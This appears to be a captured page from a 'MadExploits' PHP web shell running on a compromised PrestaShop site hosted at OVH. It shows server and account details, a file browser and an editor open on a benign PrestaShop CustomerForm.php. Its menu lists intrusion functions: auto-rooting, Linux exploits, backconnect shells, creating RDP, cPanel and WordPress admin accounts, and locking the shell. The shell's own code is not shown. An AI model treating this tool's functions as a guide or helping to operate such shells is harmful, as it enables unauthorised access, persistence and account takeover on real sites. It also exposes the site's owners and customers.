Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.61
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
alba-demenagements /
classes /
form /
[ HOME SHELL ]
Name
Size
Permission
Action
AbstractForm.php
5.39
KB
-rw----r--
CustomerAddressForm.php
6.63
KB
-rw----r--
CustomerAddressFormatter.php
8.73
KB
-rw----r--
CustomerAddressPersister.php
3.47
KB
-rw----r--
CustomerForm.php
8.55
KB
-rw----r--
CustomerFormatter.php
8.67
KB
-rw----r--
CustomerLoginForm.php
4.11
KB
-rw----r--
CustomerLoginFormatter.php
2.2
KB
-rw----r--
CustomerPersister.php
7.25
KB
-rw----r--
FormField.php
3.92
KB
-rw----r--
FormFormatterInterface.php
1.12
KB
-rw----r--
FormInterface.php
1.46
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : CustomerForm.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ use PrestaShop\PrestaShop\Core\Util\InternationalizedDomainNameConverter; use Symfony\Component\Translation\TranslatorInterface; /** * StarterTheme TODO: B2B fields, Genders, CSRF. */ class CustomerFormCore extends AbstractForm { protected $template = 'customer/_partials/customer-form.tpl'; private $context; private $urls; private $customerPersister; private $guest_allowed; private $passwordRequired = true; private $IDNConverter; public function __construct( Smarty $smarty, Context $context, TranslatorInterface $translator, CustomerFormatter $formatter, CustomerPersister $customerPersister, array $urls ) { parent::__construct( $smarty, $translator, $formatter ); $this->context = $context; $this->urls = $urls; $this->customerPersister = $customerPersister; $this->IDNConverter = new InternationalizedDomainNameConverter(); } public function setGuestAllowed($guest_allowed = true) { $this->formatter->setPasswordRequired(!$guest_allowed); $this->guest_allowed = $guest_allowed; return $this; } public function setPasswordRequired($passwordRequired) { $this->passwordRequired = $passwordRequired; return $this; } public function fillWith(array $params = []) { if (!empty($params['email'])) { // In some cases, browsers convert non ASCII chars (from input type="email") to "punycode", // we need to convert it back $params['email'] = $this->IDNConverter->emailToUtf8($params['email']); } return parent::fillWith($params); } public function fillFromCustomer(Customer $customer) { $params = get_object_vars($customer); $params['birthday'] = $customer->birthday === '0000-00-00' ? null : Tools::displayDate($customer->birthday); return $this->fillWith($params); } /** * @return \Customer */ public function getCustomer() { $customer = new Customer($this->context->customer->id); foreach ($this->formFields as $field) { $customerField = $field->getName(); if (property_exists($customer, $customerField)) { $customer->$customerField = $field->getValue(); } } return $customer; } public function validate() { $emailField = $this->getField('email'); $id_customer = Customer::customerExists($emailField->getValue(), true, true); $customer = $this->getCustomer(); if ($id_customer && $id_customer != $customer->id) { $emailField->addError($this->translator->trans( 'The email is already used, please choose another one or sign in', [], 'Shop.Notifications.Error' )); } // check birthdayField against null case is mandatory. $birthdayField = $this->getField('birthday'); if (!empty($birthdayField) && !empty($birthdayField->getValue()) && Validate::isBirthDate($birthdayField->getValue(), $this->context->language->date_format_lite) ) { $dateBuilt = DateTime::createFromFormat( $this->context->language->date_format_lite, $birthdayField->getValue() ); $birthdayField->setValue($dateBuilt->format('Y-m-d')); } $this->validateFieldsLengths(); $this->validateByModules(); return parent::validate(); } protected function validateFieldsLengths() { $this->validateFieldLength('email', 255, $this->getEmailMaxLengthViolationMessage()); $this->validateFieldLength('firstname', 255, $this->getFirstNameMaxLengthViolationMessage()); $this->validateFieldLength('lastname', 255, $this->getLastNameMaxLengthViolationMessage()); } /** * @param $fieldName * @param $maximumLength * @param $violationMessage */ protected function validateFieldLength($fieldName, $maximumLength, $violationMessage) { $emailField = $this->getField($fieldName); if (strlen($emailField->getValue()) > $maximumLength) { $emailField->addError($violationMessage); } } /** * @return mixed */ protected function getEmailMaxLengthViolationMessage() { return $this->translator->trans( 'The %1$s field is too long (%2$d chars max).', ['email', 255], 'Shop.Notifications.Error' ); } protected function getFirstNameMaxLengthViolationMessage() { return $this->translator->trans( 'The %1$s field is too long (%2$d chars max).', ['first name', 255], 'Shop.Notifications.Error' ); } protected function getLastNameMaxLengthViolationMessage() { return $this->translator->trans( 'The %1$s field is too long (%2$d chars max).', ['last name', 255], 'Shop.Notifications.Error' ); } public function submit() { if ($this->validate()) { $clearTextPassword = $this->getValue('password'); $newPassword = $this->getValue('new_password'); $ok = $this->customerPersister->save( $this->getCustomer(), $clearTextPassword, $newPassword, $this->passwordRequired ); if (!$ok) { foreach ($this->customerPersister->getErrors() as $field => $errors) { $this->formFields[$field]->setErrors($errors); } } return $ok; } return false; } public function getTemplateVariables() { return [ 'action' => $this->action, 'urls' => $this->urls, 'errors' => $this->getErrors(), 'hook_create_account_form' => Hook::exec('displayCustomerAccountForm'), 'formFields' => array_map( function (FormField $field) { return $field->toArray(); }, $this->formFields ), ]; } /** * This function call the hook validateCustomerFormFields of every modules * which added one or several fields to the customer registration form. * * Note: they won't get all the fields from the form, but only the one * they added. */ private function validateByModules() { $formFieldsAssociated = []; // Group FormField instances by module name foreach ($this->formFields as $formField) { if (!empty($formField->moduleName)) { $formFieldsAssociated[$formField->moduleName][] = $formField; } } // Because of security reasons (i.e password), we don't send all // the values to the module but only the ones it created foreach ($formFieldsAssociated as $moduleName => $formFields) { if ($moduleId = Module::getModuleIdByName($moduleName)) { // ToDo : replace Hook::exec with HookFinder, because we expect a specific class here $validatedCustomerFormFields = Hook::exec('validateCustomerFormFields', ['fields' => $formFields], $moduleId, true); if (is_array($validatedCustomerFormFields)) { array_merge($this->formFields, $validatedCustomerFormFields); } } } } }
Close